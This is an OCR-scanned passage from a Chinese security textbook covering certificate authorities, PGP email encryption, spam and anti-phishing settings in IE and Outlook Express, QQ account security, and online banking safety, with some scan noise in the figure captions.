的 权限 。 在 网 上 的 电子 交易 中 ,如 双方 出 示 了 各 自 的 数字 凭证 ,并 用 它 来 进行 交易 操作 , 那 
么 双方 都 可 不 必 为 对 方 身份 的 真 伪 担心 。 数 字 和 凭证 可 用 于 电子 邮件 ,电子 商务 、 群 邮件 、 电 
子 基金 转移 等 各 种 用 途 。 

数字 凭证 的 内 部 格式 是 由 CCITT X. 509 国际 标准 所 规定 的 ,其 原理 参见 相关 资料 。 

(5) 认证 中 心 

在 电子 交易 中 ,无论 是 数字 时 间 玲 服务 还 是 数字 凭证 的 发 放 ,都 不 是 靠 交 易 的 双方 自己 
能 完成 的 ,而 是 需要 由 一 个 具有 权威 性 和 公正 性 的 第 三 方 来 完成 的 。CA 就 是 承担 网 上 安 
全 电子 交易 认证 服务 .能 签发 数字 证 书 、 能 确认 用 户 身份 的 服务 机 构 。 认 证 中 心 通常 是 企业 
性 的 服务 机 构 ,主要 任务 是 受理 数字 凭证 的 申请 、 签 发 及 对 数字 凭证 的 管理 。 认 证 中 心 依据 
认证 操作 规定 (Certification Practice Statement,CPS) 来 实施 服务 操作 。 

上 述 5 个 方面 介绍 了 安全 电子 交易 的 常用 手段 ,各 种 手段 常常 是 结合 在 一 起 使 用 的 ,从 
而 构成 比较 全 面 的 安全 电子 交易 体系 。 
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7.3 实例 : 电子 邮件 加 密 


随 着 互联 网 的 迅速 发 展 和 普及 ,电子 邮件 已 经 成 为 网 络 中 最 为 广泛 、 最 受 欢迎 的 应 用 之 
一 。 当 前 ,电子 邮件 系统 的 发 展 面临 着 机 密 泄露 ,信息 欺骗 病毒 侵扰 、 垃 圾 邮件 等 诸多 安全 
问题 的 困扰 。 人 们 对 电子 邮件 系统 和 服务 的 要 求 日 渐 提高 ,其 中 安全 需求 尤为 突出 。 保 护 
邮件 安全 最 常用 的 方法 就 是 加 密 。 可 以 采用 PGP 软件 对 电子 邮件 进行 加 密 。 

PGP 是 互联 网 上 一 个 著名 的 共享 加 密 软 件 ,与 具体 的 应 用 无 关 , 可 独立 提供 数据 加 密 、 
数字 签名 、 密 钥 管理 等 功能 ,适用 于 电子 邮件 内 容 的 加 密 和 文件 内 容 的 加 密 , 也 可 作为 安全 
工具 嵌入 到 应 用 系统 之 中 。 目 前 使 用 PGP 进行 电子 信息 加 密 已 经 是 事实 上 的 应 用 标准 ， 
IETF 在 安全 领域 有 一 个 专门 的 工作 组 负责 进行 PGP 的 标准 化 工作 ,许多 大 的 公司 机构， 
包括 很 多 安全 部 门 在 内 ,都 拥有 自己 的 PGP 密码 。 

PGP 软件 的 使 用 见 3. 2. 3 小 节 。 


7.4 实例: 垃圾 邮件 的 处 理 


电子 邮件 (Electronic Mail,E-mail) 服 务 是 目前 互联 网 上 最 基本 的 服务 和 使 用 最 广泛 的 
功能 之 一 。 互 联网 用 户 都 可 以 申请 一 个 自己 的 E-mail, 通 过 E-mail 来 实现 远 距 离 的 快速 通 
信和 传送 信息 资料 。 

垃圾 邮件 是 仅 次 于 病毒 的 互联 网 公害 ,但 由 于 无 法 可 依 或 者 说 没有 完善 的 法 律 可 依 , 青 
加 上 其 本 身 的 复杂 性 ,已 成 为 各 国电 子 邮件 用 户 一 件 很 头疼 的 事情 。 尽 管 安全 厂商 已 经 和 
垃圾 邮件 进行 了 长 期 的 斗争 ,但 垃圾 邮件 并 没有 明显 地 减少 。 


1. 垃圾 邮件 的 定义 


中 国 互联 网 协会 2003 4E 3 H 25 日 通过 的 反 垃圾 邮件 规范 对 垃圾 邮件 的 定义 如 下 。 

CD 收 件 人 事先 没有 提出 要 求 或 者 同意 接收 的 广告 .电子 刊物 各 种 形式 的 宣传 品 等 宣 
传 性 的 电子 邮件 。 

(2) 收 件 人 无 法 拒 收 的 电子 邮件 。 

CD. 隐藏 发 件 人 身份 、 地 址 、 标 题 等 信息 的 电子 邮件 。 

CO 含有 虚假 的 信息 源 、 发 件 人 、 路 由 等 信息 的 电子 邮件 。 


2. 垃圾 邮件 的 危害 性 


(1) 占用 了 大 量 网 络 带宽 ,使 得 邮件 服务 器 的 CPU 时 间 大 量 消耗 在 接收 垃圾 邮件 方 
面 ,甚至 还 有 可 能 造成 邮件 服务 器 拥塞 ,因此 大 大 降低 了 整个 网 络 的 运行 效率 。 

(2) 垃圾 信息 导致 电子 邮件 使 用 率 降低 。 最 新 统计 显示 ,超过 60% 的 人 由 于 垃圾 信息 
的 泛滥 而 减少 了 电子 邮件 的 使 用 次 数 。 

(3) 滥 发 的 垃圾 邮件 不 仅 侵犯 了 收 件 人 的 隐私 权 及 占用 宝贵 的 信箱 空间 ,同时 还 在 删 
除 垃 圾 邮件 方面 耗费 了 收 件 人 的 时 间 、 精 力 和 人 金钱。 而 且 有 些 垃圾 邮件 还 盗用 他 人 的 电子 
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邮件 地 址 作为 发 信 地 址 ,这 样 就 严重 损害 了 他 人 的 信誉 。 

(4) 成 为 病毒 .木马 程序 的 载体 ,影响 计算 机 的 正常 使 用 。 

(5) 被 黑客 利用 ,采用 邮件 炸弹 的 手段 对 网 络 进行 攻击 。 

(6) 严重 影响 公司 的 服务 形象 。 如 果 别 人 频繁 地 使 用 一 个 邮件 地 址 给 用 户 发 送 垃圾 邮 
件 ,那么 用 户 肯 定 不 会 对 提供 这 个 邮件 服务 的 公司 有 好 感 。 

(7) 垃圾 邮件 宣传 的 多 半 是 各 种 广告 及 非法 言论 ,轻信 这 些 虚假 广告 会 给 用 户 带 来 经 
济 损失 ,而 且 带 有 色情 、 反 动 等 内 容 的 垃圾 邮件 已 经 对 现实 社会 造成 了 极 大 的 危害 。 


3. 避免 垃圾 邮件 的 几 种 方法 


(1) 至 少 拥有 两 个 电子 邮箱 地 址 ,一 个 是 私人 邮箱 地 址 ; 另 一 个 是 公共 邮箱 地 址 。 私 人 
邮箱 地 址 用 于 个 人 的 通信 ,不 要 将 自己 的 邮箱 地 址 到 处 传播 ;公共 邮箱 地 址 用 于 一 些 公共 论 
坛 .聊天 室 注 册 等 。 

(2) 如 果 私 人 邮箱 地 址 被 垃圾 邮件 制造 者 知道 ,那么 就 需要 再 申请 一 个 新 邮箱 。 

(3) 不 要 回应 垃圾 邮件 。 

(4) 不 要 单 击 来 自 可 疑 网 站 的 订阅 链接 。 

(5) 可 以 用 Outlook 或 Foxmail 等 POP3 收 信 工具 收取 电子 邮件 。 在 收 信和 时 ,一 旦 看 
见 新 邮件 的 数量 超过 平时 数量 的 若干 倍 , 应 当 马上 停止 下 载 邮件 ,然后 再 从 服务 器 删除 炸弹 
邮件 。 


4. 实例 : 垃圾 邮件 的 处 理 ( 略 ) 


打开 Outlook f& Wie EE T. R-1| D P I Ui EIGRA | E PF | ERR 1E 22 P Ad S 
出 现 【 新 建 邮件 规则 对 话 框 ,设置 一 定 的 规则 进行 垃圾 邮件 的 过 滤 。 


7.5 实例 : 网 络 防 钓 鱼 技术 


1. 网 络 钓鱼 的 定义 


网 络 钓鱼 (Phishing): 诈骗 者 利用 欺骗 性 的 电子 邮件 和 伪造 的 Web 站 点 (钓鱼 网 站 ) 来 
进行 网 络 诈骗 活动 ,诱骗 访问 者 提供 一 些 私 人 信息 ,受骗 者 往往 会 泄露 自己 的 私人 资料 ,如 
信用 卡号 .银行 卡 账户 .身份 证 号 等 内 容 。 钓 鱼网 站 是 设置 一 个 以 假 乱 真 的 假 网 站 ,欺骗 网 
络 浏览 者 上 当 ,链接 和 人 假 网 站 ,木马 程序 趁机 植 人 使 用 者 的 计算 机 。 

网 络 钓鱼 一 词 ,是 由 Fishing 和 Phone 组 合 而 成 .由 于 黑客 始祖 起 初 是 用 电话 作案 ,所 
以 用 Ph 来 取代 下 ,创造 了 Phishing,Phishing 发 音 与 Fishing 相同 .“ 网 络 钓鱼 ?就 其 本 身 来 
说 , 称 不 上 是 一 种 独立 的 攻击 手段 ,更 多 的 只 是 诈骗 方法 ,就 像 现实 社会 中 的 一 些 诈骗 一 样 。 


2. 防备 网 络 钓 鱼 的 一 般 常 识 


不 要 在 网 上 留 下 可 以 证 明 自己 身份 的 任何 资料 ,包括 银行 卡号 码 、 身 份 证 号 .电子 商务 
网 站 账户 等 资料 。 也 不 要 把 自己 的 隐私 资料 通过 QQ .MSN 电子 邮件 等 软件 传播 ,这 些 途 
径 往往 可 能 会 被 黑客 利用 。 
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3. Windows 用 户 对 网 络 钓 鱼 的 防范 


Windows 用 户 访 问 互联 网 的 两 个 主要 工具 是 浏览 器 和 电子 邮件 。 

CD IE 浏览 器 防范 网 络 钓鱼 的 设置 

第 1 步 : 在 IE 中 依次 选择 [工具 】IKInternet 选项 3 命令 ,在 弹出 的 对 话 框 中 选择 [安全 】 
选项 卡 ,再 单 击 [ 自 定义 级 别 ] 按 钮 ,弹出 如 图 7-13 所 示 的 对 话 框 ,在 【安全 设置 ] 对 话 框 下 方 
展开 下 拉 列 表 ,选择 [安全 级 -高 3 按钮 ,然后 单 击 【 重 置 ] 按 钮 。 

第 2 步 : 将 I 安全 级 别 设置 为 【安全 级 -高 ] 之 后 ,浏览 器 在 访问 网 站 时 会 不 断 弹出 警 
告 窗口 。 此 时 需要 将 经 常 访问 的 网 站 添加 到 IE 的 可 信 站 点 列表 中 ,如 图 7-14 所 示 , 单 击 
【受信 任 的 站 点 了 图 标 , 然 后 单 击 【站 点 按钮。 输入 网 站 地 址 , 单 击 【添加 按钮。 如 果 需 要 添 
加 更 多 网 站 可 以 重复 这 些 操作 。 


Internet 选项 


za | 安全 [mx (ne [m | 程序 [m | 
ATEEN Teb 内 容 指定 安全 设置 2) 


LA 
[d Activer 控件 和 括 件 a 
esr RAAR ai 
SE i IOPE. RER PAFANTA 
r^ O ume 
O 对 标记 为 可 安全 执行 脚本 的 ActiveX 控件 执行 脚 < 
r4 格 访 网 站 添加 本 区 域 中 QD) : 
[EEC 
Raw 
BA [Rttips://evv. bai du. com 


启用 


提示 
O 对 没有 标记 为 安全 的 Activer 控件 进行 初始 化 和 有 
禁用 


< 
重 置 自 定义 设置 
ERA [安全 级 -高 回 对 访 区 域 中 的 所 有 站 点 要 求 服务 器 验证 Qtt?s;) E) 


图 7-13 【安全 设置 ] 对 话 框 图 7-14 【可 信和 站点] 对 话 框 


BES 取消 选中 [对 该 区 域 中 的 所 有 站 点 要 求 服务 器 验证 (https: )] 复 选 框 。 


第 3 步 : 如 图 7-15 所 示 , 在 IE 7 中 依次 选择 [工具 民 仿 骨 网 站 筛选 ] 民 打开 自动 网 站 
检查 了 命令 ,弹出 如 图 7-16 Bras fy E Microsoft 仿冒 网 站 筛选 3 对 话 框 ,选择 [打开 自动 仿冒 网 
站 筛选 (推荐 ?了 单 选 按钮 ,然后 单 击 【确定 按钮 。 

说 明 : IE 7 中 内 嵌 的 钓鱼 欺诈 过 滤器 主要 是 为 了 保护 用 户 远离 钓鱼 欺诈 网 站 ,保护 隐 
fh ,并且 整个 过 程 做 到 透明 和 灵活 。IE 7 采用 向 反 钓鱼 欺诈 服务 器 实时 查询 的 方式 ,而 不 
是 像 一 些 反 间谍 软件 那样 定时 下 载 一 份 站 点 列表 文件 。 选 择 实时 查询 有 两 个 原因 .: 一 是 它 
能 比 使 用 静态 站 点 列表 方式 提供 更 好 的 保护 ;二 是 可 以 避免 给 网 络 增加 过 重 的 负载 。 欺 诈 
过 滤器 确实 可 以 定时 下 载 一 份 已 知 为 安全 的 站 点 列表 ,但 钓鱼 欺诈 攻击 可 以 在 24 一 48 个 小 
时 内 转移 到 新 的 地 址 ,这 比 发 布 站 点 列表 要 更 快 。 另 外 :如果 要 求 用 户 不 断 地 下 载 站 点 列 


ey 
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/ 欢迎 使 用 迁 项 卡 浏览 — Windows Internet Explorer 


SO- Bor i] (x) [ 


文件 中 me 50 RERW IAW mo, 


btt- 回 杀 过 ~ 
&-omgo- 
出 除 浏览 的 历史 记录 QD. 
HESSE O 


EMANE d RELEW 
。 使 用 一 人 仿冒 网 站 入 和 设置 O 
。 理 看 所 在 责 而 时 打 寞 后 宇 泛 页 下 中 国人 | 
。 使 用 收藏 夹 和 主页 选项 卡 可 以 一 和 次 保 v R 


若 要 执行 此 操作 : mc 
。 按 住 col REGNA CLERUM indere estener 
« REUE PREE EERE TDI 
。 从 地 址 栏 或 搜索 框 按 AlttEnter 可 Rataanss 
Internet 选项 OO) 
O 进步 了 解 选 页 卡 


园 _ 蜡 示 更 多 庭 项 卡 快 接 方 式 , 


图 7-15 打开 自动 网 站 检查 


Hicrosoft 仿冒 网 站 筛选 
帮助 使 您 的 浏览 器 更 安 
由 URBHRAE o 


PERRO TREER ， 仿冒 网 站 第 选 会 警 省 您 。 


d o o Lo m 


4 OXHEBHER E) 
网 站 地 址 不 NT 除非 您 选择 检查 网 站 地 址 。 


CEES] 


图 7-16 KMicrosoft 仿 骨 网 站 筛选 ] 对 话 框 


表 , 还 要 考虑 网 络 负载 因素 。 目 前 可 能 用 于 发 动 钓 鱼 欺诈 攻击 的 计算 机 数量 要 远 远 超 过 间 
谍 软 件 的 数量 ,每 小 时 都 去 下 载 新 的 黑 名 单列 表 将 会 严重 影响 网 络 的 正常 流量 

(2) 电子 邮件 防范 网 络 钓鱼 的 设置 

98 1 2p. 关闭 预览 面板 。 一 些 钓 鱼 邮 件 只 需要 在 电子 邮件 收发 程序 的 预览 面板 中 显示 
就 能 侵入 计算 机 。 因 此 建议 用 户 关闭 收 件 箱 的 预览 面板 。 在 Outlook Express 6 中 ,选择 
【查看 3I【 布 局 ] 命 令 . 取 消 选 中 【显示 预览 窗 格 ] 复 选 框 ,如 图 7-17 所 示 。 

第 2 步 : 许多 恶意 邮件 都 是 通过 HTML 代码 达到 目的 的 ,因此 ,如 果 以 纯 文本 方式 阅 
读 这 些 邮件 就 会 让 它们 无 计 可 施 。 在 Outlook Express 6 中 ALTAI DENI MAH A 
S ,选中 [用 纯 文本 格式 阅读 所 有 信息 3 复 选 框 ,如 图 7-18 所 示 。 


(m 
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拼写 检查 | 安全 | imm | 维护 
*A W£ |an | 发 送 ms | €& 
mE | mss 
基本 eB met w $| 秒 后 , 将 其 标记 为 已 读 
pU ELE iD Outlook Express 的 某 些 自动 展开 姐 合 邮 件 QD 
E] 半生 生生 [DEBERE EENE BSUTEA W 
ORA D Ooto igo — [NBI GO. 器 用 区 二 和 天 加 时 所 有 全 直下 
回 文件 来 栏 E) 。 回 状态 栏 四 cr ye D 
ORD EIAEQ 回 在 邮件 列表 中 为 由 项 显示 工具 提示 QD 
突出 显示 祛 跟踪 的 Hg 件 ) -| 国 国 红色 


"P 

ARDE TRSPHTTEORSURUES EN. 
DIESES T - 
: SPN A 单 击 此 处 以 更 下 阅读 地 件 叶 使 用 的 字体 和 默认 杭 码 


meme Bsrero [x9 E] qase 


口 退出 新 闻 姐 时 梅 所 有 邮件 标记 为 已 读 中 


O Feo. DEREN 


ae JC m ) 


图 7-17 关闭 预览 面板 图 7-18 以 纯 文本 方式 阅读 电子 邮件 


另外 ,要 小 心 处 理 电子 邮件 链接 ,钓鱼 者 攻击 计算 机 的 一 条 重要 渠道 是 通过 电子 邮件 。 
为 了 减 小 因 电子 邮件 而 感染 病毒 的 风险 ,在 可 疑 电 子 邮件 中 不 要 单 击 链接 ,邮件 中 显示 的 文 
字 往往 会 掩盖 真实 的 Web 地 址 。 


4. Linux 用 户 对 网 络 钓鱼 的 防范 


Linux 用 户 访问 互联 网 的 两 个 主要 工具 是 浏览 器 (火狐 ) 和 电子 邮件 ( 雷 鸟 )。 相 关 设 置 
[i] IE 7, Outlook Express 6 类 似 。 


7.6 实例 : QQ 安全 使 用 


如 今 , 即 时 通信 软件 作为 人 们 在 网 络 上 最 主要 的 沟通 方式 之 一 ,其 信息 的 安全 性 越 来 越 
受到 大 众 的 关注 。 

为 了 有 效 地 防止 QQ 的 密码 .个 人 资料 和 聊天 记录 等 本 地 信息 的 丢失 和 被 窃 , 下 面 以 
QQ 2010 为 例 简单 介绍 QQ 的 安全 使 用 。 

第 1 步 : 打开 QQ 201 民 系统 设置 对话 框 , 如 图 7-19 所 示 ,在 左 侧 窗口 的 【安全 和 隐 
私 ] 标 答 里 选择 [消息 记录 安全 】 选 项 ,在 右 侧 窗口 中 ,选中 [启用 消息 记录 加 密 ] 复 选 框 ,输入 
口令 并 确认 即 可 。 同 时 ,为 了 保险 一 定 要 选中 【启用 加 密 口 令 提 示 】 复 选 框 ,输入 提示 问题 和 
问题 答案 。 另 外 ,还 可 以 选中 [退出 QQ 时 自动 删除 所 有 消息 记录 ] 复 选 框 ,然后 单 击 【确定 】 
按钮 。 

第 2 步 : 申请 密码 保护 ,如 图 7-20 所 示 ,这 样 能 够 在 不 幸 被 黑 后 及 时 取 回 密码 。 

第 3 步 : 如 图 7-21 所 示 , 在 左 侧 窗口 的 [安全 和 隐私 ] 标 签 里 选择 [身份 验证 3 选项 ,在 右 
侧 窗口 中 ,选择 [需要 验证 信息 了 单 选 按钮 。 

第 4 步 : 如 图 7-22 所 示 , 在 左 侧 窗口 的 [安全 和 隐私 7 标签 里 选择 【 防 骚扰 设置 〗 选 项 ,在 
右 侧 窗口 中 ,选中 [不 接收 任何 临时 会 话 消息 ] 复 选 框 。 
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图 7-19 本 地 信息 安全 


密码 安全 
您 没有 设置 记 住 车 录 密码 。 
为 了 您 的 账号 安全 ， 请 定期 修改 室 码 。 
为 了 您 在 拔 失 密码 时 能 由 轻松 取 回 ,现在 就 去 申请 密码 保护 。 


[sem zemee 


取消 记 住 密码 


Og£0.5 
阻止 接收 任何 文件 。 
(9s eure) 
阻止 接收 高 安全 风险 文件 (少数 常用 类 型 的 文件 除外 )。 
Oo 


安全 级 - 低 
区 许 接收 任何 文件 ， 但 强制 重 命名 接收 到 的 可 执行 文件 . 


LE Rae 
£ seu SETAREA PNE. 
建议 安装 TT 浏览 器 ,增强 沪 问 网 络 的 安全 性 。 
[EOS EEY 


[mE] [RA Lem jJ 
图 7-20 申请 密码 保护 


身份 验证 
通过 您 的 验证 后 ， 对 方才 能 加 您 为 好 友 。 
ERIS DOES 
口交 放任 何人 
需要 验证 信息 
OSEIRESHE 
CO 需要 回答 问题 并 由 我 审核 
口 不 名 许 任 侣 人 


四 课 游 我 的 设置 IENE 


[mm j| mà j| BH j 
图 7-21 身份 验证 


E NN 


SERE SS 


973 ”应 用 安全 技术 


被 查找 条 件 
请 选择 区 许 别人 查找 到 阁 的 方式 ; 
EZ 只 能 通过 账号 或 昵称 找到 我 
EZ 通过 查找 视频 用 户 列 表 找到 我 


陌生 人 消息 
回 干 接收 任何 临 时 会 话 消息 


——— 


图 7-22 基本 设置 


98 5 3p. 在 QQ 2010 的 登录 窗口 , 单 击 【设置 按钮 ,出现 如 图 7-23 所 示 的 对 话 框 , 可 以 
设置 代理 服务 器 。 设 置 好 代理 服务 器 后 别人 只 能 看 到 代理 服务 器 的 IP 地 址 ,而 看 不 到 自己 


的 IP 地 址 。 


网 络 设置 EPRE 
网 络 设置 

ET 地 址 ; 端口 : 

HTTP 代 理 v) [11.22.33.44 | [soos 

用 户 名 : 密码 ; 域 : 

FT prrrery | [ee 

LLWA | 

33825 

类 型 : 地 址 : 端口 : 

不 使 用 高 级 选项 ~ x 

mfi — 
图 7-23 代理 设置 


第 6 步 : 如 图 7-24 所 示 , 在 左 侧 窗口 的 [基本 设置 3 标签 里 选择 [软件 更 新 选项 ,在 右 侧 
窗口 中 选择 [自动 下 载 ,安装 时 询问 (推荐 )] 单 选 按钮 。 


BES 在 登录 框 中 输入 密码 时 ,为 了 防止 键盘 记录 工具 ,可 以 不 按照 正常 顺序 输 
入 密码 ,比如 密码 是 “123456”, 可 以 先 输入 “34”, 然 后 用 光标 定位 ,分 别 在 “34” 前 后 输入 
“12” 和 “56”, 这 样 键盘 记录 工具 记录 的 是 “341256”。 另 外 ,输入 密码 时 也 可 以 用 粘贴 的 方 
法 , 先 在 记事 本 中 输入 一 串 含 有 正确 密码 的 字符 ,然后 用 鼠标 将 正确 部 分 复制 到 密码 框 
中 。 如 果 在 他 人 计算 机 上 使 用 QQ, 关闭 QQ 后 一 定 要 彻底 删除 以 自己 QQ 号 命名 的 文 


FEE 


ey 
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[oa 
B a 自动 更 新 程序 能 够 自动 找到 可 用 更 新 并 通知 你。 
EE 请 选择 自动 更 新 QQ 的 方式 : 
€ © 自动 下 载 ， 安装 时 询问 (推荐 ) 
Tu 〇 不 自动 下 载 更 新 ， 有 更 新 时 提示 
LE O 关闭 自动 更 新 
B 文件 记录 
mE 手动 更 新 
全 
rem 
TURI 
bramar oo 
| semak | 
EL DII 确定 | | EA j| EA | 


图 7-24 自动 更 新 设置 


7.7 网 上 银行 账户 安全 


网 上 银行 是 21 世纪 人 金融 业 的 一 次 革命 ,是 网 络 时 代 的 金融 业 的 创新 ,是 网 络 经 济 时 代 
的 金融 业 转 型 ,是 传统 银行 业务 的 创新 和 发 展 。 


1. 网 上 银行 的 定义 


网 上 银行 借助 于 互联 网 数字 通信 技术 向 客户 提供 金融 信息 发 布 和 金融 交易 服务 ,是 传 
统 银行 业务 在 互联 网 上 的 延伸 ,是 一 种 虚拟 银行 ,没有 传统 精致 的 银行 装修 门面 ,没有 银行 
业务 柜台 和 柜员 ,银行 业务 和 运营 模式 与 传统 银行 有 很 大 区 别 , 在 线 为 客户 提供 办 理 结算 、 
信贷 服务 的 商业 银行 。 

网 上 银行 提供 “3A?* 式 服务 , 即 Anytime HE fap IE [8] , Anywhere CE fü Hi 53) , Anyhow 
(任何 方式 ) 。 

网 上 银行 对 个 人 提供 的 业务 包括 : 个 人 查询 .个 人 转账 .代理 缴费 .挂失 服务 外汇 买 
卖 .电子 汇款 和 个 人 投资 理财 。 

网 上 银行 对 公共 提供 的 业务 包括 : 信息 发 布 .信贷 、 存 款 、 转 账 和 支付 中 介 、 国 际 业务 、 
住房 金融 、 受 托 代理 基金 托管 .资金 清算 和 保险 箱 。 


2. 网 上 银行 的 发 展 


第 一 个 网 络 银行 于 1995 年 在 美国 诞生 一 一 安全 第 一 银行 (Security First Network 
Bank) 。 继 美国 之 后 8 个 月 ,中国 银行 于 1996 年 建立 了 自己 的 网 上 银行 ,1998 年 开始 提供 
网 上 银行 服务 ;1998 年 3 月 中 国 第 一 笔 网 上 交易 成 功 。 目 前 ,所 有 的 商业 银行 都 建立 了 不 
同 规模 的 网 上 银行 。 网 上 银行 是 基于 互联 网 的 虚拟 银行 。 
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3. 网 上 银行 安全 隐患 和 可 能 出 现 的 问题 


我 国 的 银行 信息 系统 也 是 比较 先进 的 系统 ,银行 信息 系统 的 信息 安全 涉及 方方面面 。 
网 上 银行 可 以 让 银行 充分 利用 互联 网 来 弥补 网 点 设置 的 不 足 ,为 用 户 提供 方便 的 银行 服务 ， 
这 是 银行 发 展 的 重点 之 一 。 但 是 ,由 于 网 上 银行 中 涉及 资金 的 转移 ,也 不 免 引起 了 一 些 犯罪 
分 子 利 用 网 络 安 全 与 信息 安全 漏洞 来 盗窃 银行 账号 和 密码 来 从 事 犯 罪 活 动 。 为 了 防范 此 类 
犯罪 ,仅仅 提醒 用 户 注意 保护 好 密码 是 不 够 的 ,因为 现在 的 技术 手段 完全 可 以 不 在 用 户 使 用 
的 计算 机 旁边 就 可 以 穿 获 用 户 的 账号 和 密码 。 

中 国人 民 银 行 颁布 的 (网 上 银行 业务 管理 暂行 办 法 ) 规 定 :“ 银 行 应 采用 合适 的 加 密 技 
术 和 措施 ,以 确认 网 上 银行 业务 用 户 身 份 和 授权 ,保证 网 上 交易 数据 传输 的 保密 性 、 真 实 性 ， 
保证 通过 网 络 传 输 信息 的 完整 性 和 交易 的 不 可 否认 性 .” 由 上 述 可 以 看 出 网 上 银行 信息 安全 
问题 的 严重 性 ,特别 是 近期 不 断 出 现 的 假冒 银行 网 站 和 假冒 银行 的 安全 通知 电子 邮件 的 问 
题 , 使 得 网 上 银行 信息 安全 问题 非常 突出 ,主要 总 结 如 下 。 

(1) 机 密 性 问题 

银行 用 户 在 使 用 网 上 银行 系统 时 要 求 用 户 输入 用 户 账 号 和 密码 等 机 密 信息 后 ,客户 端 
计算 机 就 把 此 机 密 数 据 通 过 互联 网 传 到 网 上 银行 的 服务 器 ,这 个 传输 过 程 中 要 经 过 许多 网 
络 设备 和 传输 链 路 (特别 是 有 些 不 安全 的 宽带 接 入 方式 使 得 整个 办 公 楼 或 居民 小 区 的 所 有 
用 户 实际 上 是 在 一 个 共享 的 局 域 网 上 ) ,如果 此 类 机 密 信息 不 加 密 传输 , 则 非常 容易 和 极 有 
可 能 在 传输 过 程 中 被 罪犯 非法 截取 而 获得 用 户 网 上 银行 的 登录 账号 和 密码 ,这 就 可 以 解释 
2g fa] Fl] A MESE" E ,但 银行 账户 上 的 钱 还 是 不 辟 而 飞 了 。 

(2) 完整 性 问题 

如 果 在 用 户 端 计 算 机 到 网 上 银行 服务 器 之 间 的 转账 信息 传输 不 加 密 的 话 , 则 非常 容易 
和 极 有 可 能 在 传输 过 程 中 被 非法 恶意 算 改 ,把 转账 给 甲 的 银行 账号 算 改 为 转账 给 乙 的 银行 
账号 ,而 用 户 还 不 知晓 ,因为 用 户 提 交 时 是 填写 正确 的 。 

(3) 真实 身份 认证 问题 

涉及 两 个 真实 身份 的 认证 问题 ,一 个 是 网 上 银行 用 户 的 真实 身份 ; 另 一 个 是 网 上 银行 网 
站 的 真实 身份 。 非 法 用 户 可 以 伪造 .假冒 网 上 银行 网 站 和 银行 用 户 的 身份 ,因此 用 户 无 法 知 
道 他 们 所 登录 的 网 站 是 否 是 可 信 的 真实 的 网 上 银行 网 站 ,而 银行 也 无 法 验证 登录 到 网 上 银 
行 的 用 户 是 否 是 合法 身份 , 仅 赁 “用 户 名 十 口令 ”的 传统 身份 认证 方式 根本 就 没有 任何 安全 
性 。 而 有 些 银 行 声称 “对 由 于 用 户 泄 露 口令 而 导致 损失 不 负责 任 ” 的 说 法 是 不 负责 任 的 做 
法 ,建议 用 户 不 要 使 用 有 此 类 声明 的 网 上 银行 。 银 行 应 该 采取 切实 可 行 的 技术 手段 来 保证 
即使 用 户口 令 被 泄露 (更 何况 犯罪 分 子 可 以 有 许多 途径 得 到 用 户 的 口令 ,而 不 一 定 是 用 户 的 
过 错 ) 非 法 用 户 也 无 法 通过 真实 身份 认证 ,同时 也 要 采取 技术 措施 让 用 户 非常 容易 识别 是 真 
正 的 网 上 银行 网 站 还 是 假冒 的 网 上 银行 网 站 ,仅仅 提醒 用 户 记 住 复 杂 的 英文 域名 和 网 址 是 
不 够 的 ,因为 假冒 的 银行 网 站 的 域名 往往 与 真实 银行 网 站 只 差 一 个 字母 。 

(4) 交易 的 不 可 否认 性 问题 

银行 用 户 有 可 能 会 否认 其 在 线 转账 交易 行为 .这 里 有 许多 原因 ,可 能 是 用 户 本 身 的 
原因 ,也 可 能 是 银行 的 原因 ,每 笔 交 易 一 定 要 有 可 靠 的 签名 记录 用 于 纠纷 仲裁 的 法 律 
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4. 网 上 银行 出 现 的 安全 问题 


网 上 银行 越 来 越 深入 人 们 的 日 常生 活 ,通过 网 上 银行 ,可 以 迅速 办 理 查询 汇款、 转账 、 
外 汇 交 易 .基金 买卖 等 各 种 金融 业务 。 但 网 上 银行 的 安全 问题 也 是 人 们 所 关心 的 ,目前 ,我 
国 各 银行 的 网 上 银行 都 具备 符合 标准 的 安全 系统 及 措施 ,确保 客户 权益 能 得 到 充分 保障 。 
如 交通 银行 的 网 上 银行 就 采取 了 许多 安全 防范 措施 ,其 中 包括 附加 码 校 验 , 以 防止 程序 测试 
密码 攻击 。 网 上 银行 的 防范 措施 是 很 严密 的 。 虽 然 目 前 各 商业 银行 都 有 意识 地 提高 了 网 上 
银行 的 安全 系数 ,但 是 保护 网 银 账户 的 安全 并 不 仅仅 是 银行 的 工作 ,客户 也 应 采取 措施 规避 
各 类 风险 。 比 如 网 上 钓鱼 是 目前 国内 外 不 法 分 子 常 用 的 欺骗 手段 ,利用 人 们 视觉 的 马虎 , 制 
造假 网 址 ,例如 ,将 www. bank-of-china. com. cn 改写 为 www. bank-off-china. com. cn 等 。 


5. 网 上 银行 的 安全 防范 


开展 网 上 银行 有 两 大 保障 : 一 是 技术 保障 ;二 是 法 律 与 规范 。 

技术 保障 有 网 络 层 安全 防范 和 PKI 技术 。 网 络 层 安全 防范 措施 有 设置 过 滤 功 能 的 安 
全 路 由 器 .设置 IDS .设置 防 黑客 软件 系统 等 ,网 上 银行 安全 防范 在 网 络 层 实 施 安 全 机 制 中 
是 安全 防范 的 重点 之 一 。PKI 技术 是 网 上 银行 目前 最 佳 的 防范 措施 。 

国家 在 2005 4E 4 月 1 日 颁布 并 执行 了 中 国 《电子 签名 法 》, 人 民 银 行 发布 了 《电子 支付 
指引 》, 这 是 网 上 银行 的 法 律 依据 。 


6. 招商 银行 网 上 个 人 银行 安全 指引 


在 使 用 网 上 银行 时 ,必须 注意 自身 的 安全 防范 ,下 面 通过 引用 “招商 银行 网 上 个 人 银行 
安全 指引 ”中 的 主要 内 容 介绍 使 用 网 上 银行 时 要 注意 的 事项 。 

网 址 是 http://www. cmbchina. com/personal t business/netbank/common/safe. htm, 

(1) 网 上 个 人 银行 大 众 版 和 专业 版 

在 进行 便利 的 网 上 交易 服务 时 ,新 的 网 络 交易 风险 随 之 产生 。 招 商 银行 为 客户 提供 的 
网 上 银行 服务 分 为 : 网 上 个 人 银行 大 众 版 和 专业 版 。 

COD 网 上 个 人 银行 大 众 版 。 网 上 个 人 银行 大 众 版 是 招商 银行 基于 互联 网 平台 开发 
的 、 通 过 互联 网 为 广大 客户 提供 全 天 候 银 行 金融 服务 的 自助 理财 系统 。 只 要 客户 拥有 
招商 银行 账户 和 密码 即 可 登录 大 众 版 进行 查询 账户 交易 .转账 汇款 .支付 卡 转账 、 修 改 
密码 等 操作 。 

